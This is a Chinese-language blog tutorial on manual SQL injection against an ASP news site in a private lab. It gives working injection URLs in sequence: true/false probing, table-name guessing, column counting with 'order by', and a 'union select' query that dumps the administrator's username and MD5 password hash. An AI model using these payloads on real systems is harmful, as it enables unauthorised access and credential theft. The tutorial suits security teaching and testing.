网络安全系列之四 手工SQL注入(ASP)

简介:

SQL注入是黑客对数据库进行攻击的常用手段之一,其核心思想在于:黑客在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。下面我们就对之前已经搭建好的渗透平台进行SQL注入,最终目的是获得网站的管理员账号和密码。目标服务器IP地址:192.168.80.129,黑客主机IP地址:192.168.80.128。

 

(1)寻找注入点

随便打开一个网页,注意观察URL。

image

注入点必定是类似“http://192.168.80.129/shownews.asp?id=7”这类存在命令调用的页面,“shownews.asp?id=7”是页面传值,就是将“id=7”传到“shownews.asp”页面里进行处理。

我们可以在这个URL后面加上and 1=1和and 1=2进行测试。

http://192.168.80.129/shownews.asp?id=7 and 1=1 ,网页仍能正常显示。

http://192.168.80.129/shownews.asp?id=7 and 1=2 ,网页无法正常显示。

这就表明“asp?”把我们自己加上的“and 1=1”也作为一个命令参数进行了调用,那我们就可以来构造一些SQL语句来被调用执行,从而得到需要的信息,这就是所谓的注入漏洞。像这样可以调用命令参数的网页就称为注入点。

 

(2)猜表名

黑客进行网站渗透的主要目的是获得网站管理员的用户名和密码,用户名和密码都是存放在后台数据库的某个表中,所以首先我们得猜出这个数据表的名字是什么。

表名用的最多的是admin和admin_user,我们可以在注入点URL的后面加上这样一条语句来猜表名:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0

“select count(*) from admin”的意思是统计admin表中有几条记录,如果admin表存在,那么这条语句就会得到一个数值。用这个数值跟>0比较,结果肯定是成立的,所以此时网页应该正常显示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何数值,跟>0比较,结果不成立,网页也就无法正常显示。

如果网页不能正常显示,可以再换一个表名进行尝试,直到正常显示为止:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0

这个网站的表名就是manage_user。

常见表名主要有:admin sysadmin manger admin123 webadmin member manage_user

注意:如果表名实在猜不出来,也可以使用明小子之类的工具来帮忙。

image

 

(3)猜字段的数量

下一步是猜这个表中哪个字段存放着用户名和密码,首先需要知道数据表中一共有几个字段。

这里要用到“order by”语句,“order by”的本意是按某个字段排序,“order by 10”就是按第10个字段排序,如果第10个字段存在,那么网页就会正常显示,否则如果网页无法正常显示,则表明第10字段不存在。

http://192.168.80.129/shownews.asp?id=7 order by 11

通过这种方法可以猜出这个表一共有11个字段。

 

(4)猜字段名

下一步是需要知道哪个字段存放着用户名和密码,这里用到“union select”联合查询语句。

http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

这里会将存放用户名和密码的字段爆出。

image

存放用户名的字段一般叫username,存放密码的字段一般叫password,将第2和第3字段替换成这两个名字:

http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user

这时就将用户名和密码爆出了。

image

 

(5)猜后台管理入口

在这个2.0版的南方数据模板中,本身就带有“管理员登入”的链接。现在大多数网站不会这样设置的,所以这里一般要凭经验来猜,管理入口一般存放在名为admin的网站子目录下,输入下面的地址http://192.168.80.129/admin,就自动将管理入口显示出来了。

image

在这里就可以用之前爆出的管理员账号和密码来登录,但是密码“3acdbb255b45d296”很明显是经过MD5加密的,如何才能解密呢?这将在下篇博文来介绍。



本文转自 yttitan 51CTO博客,原文链接:http://blog.51cto.com/yttitan/1560917

相关文章
|
2天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
9 0
|
3天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
3天前
|
SQL 存储 安全
|
3天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
3天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
|
3天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
3天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
SQL 安全 .NET
ASP.NET SQL 注入免费解决方案
任何一种使用数据库web程序(当然,也包括桌面程序)都有被SQL注入的风险。防止被SQL注入,最基本的方法是在代码级别就要阻止这种可能,这个网上讲的很多,我就不多说了。不过如果你拿到的是一个已经完工的产品,这个时候该如何解决呢?我介绍几种对于ASP和ASP.NET有效的防止SQL注入的方案,而且是免费的。
|
4月前
|
开发框架 前端开发 .NET
ASP.NET CORE 3.1 MVC“指定的网络名不再可用\企图在不存在的网络连接上进行操作”的问题解决过程
ASP.NET CORE 3.1 MVC“指定的网络名不再可用\企图在不存在的网络连接上进行操作”的问题解决过程
45 0
|
8天前
|
开发框架 前端开发 JavaScript
JavaScript云LIS系统源码ASP.NET CORE 3.1 MVC + SQLserver + Redis医院实验室信息系统源码 医院云LIS系统源码
实验室信息系统(Laboratory Information System,缩写LIS)是一类用来处理实验室过程信息的软件,云LIS系统围绕临床,云LIS系统将与云HIS系统建立起高度的业务整合,以体现“以病人为中心”的设计理念,优化就诊流程,方便患者就医。
17 0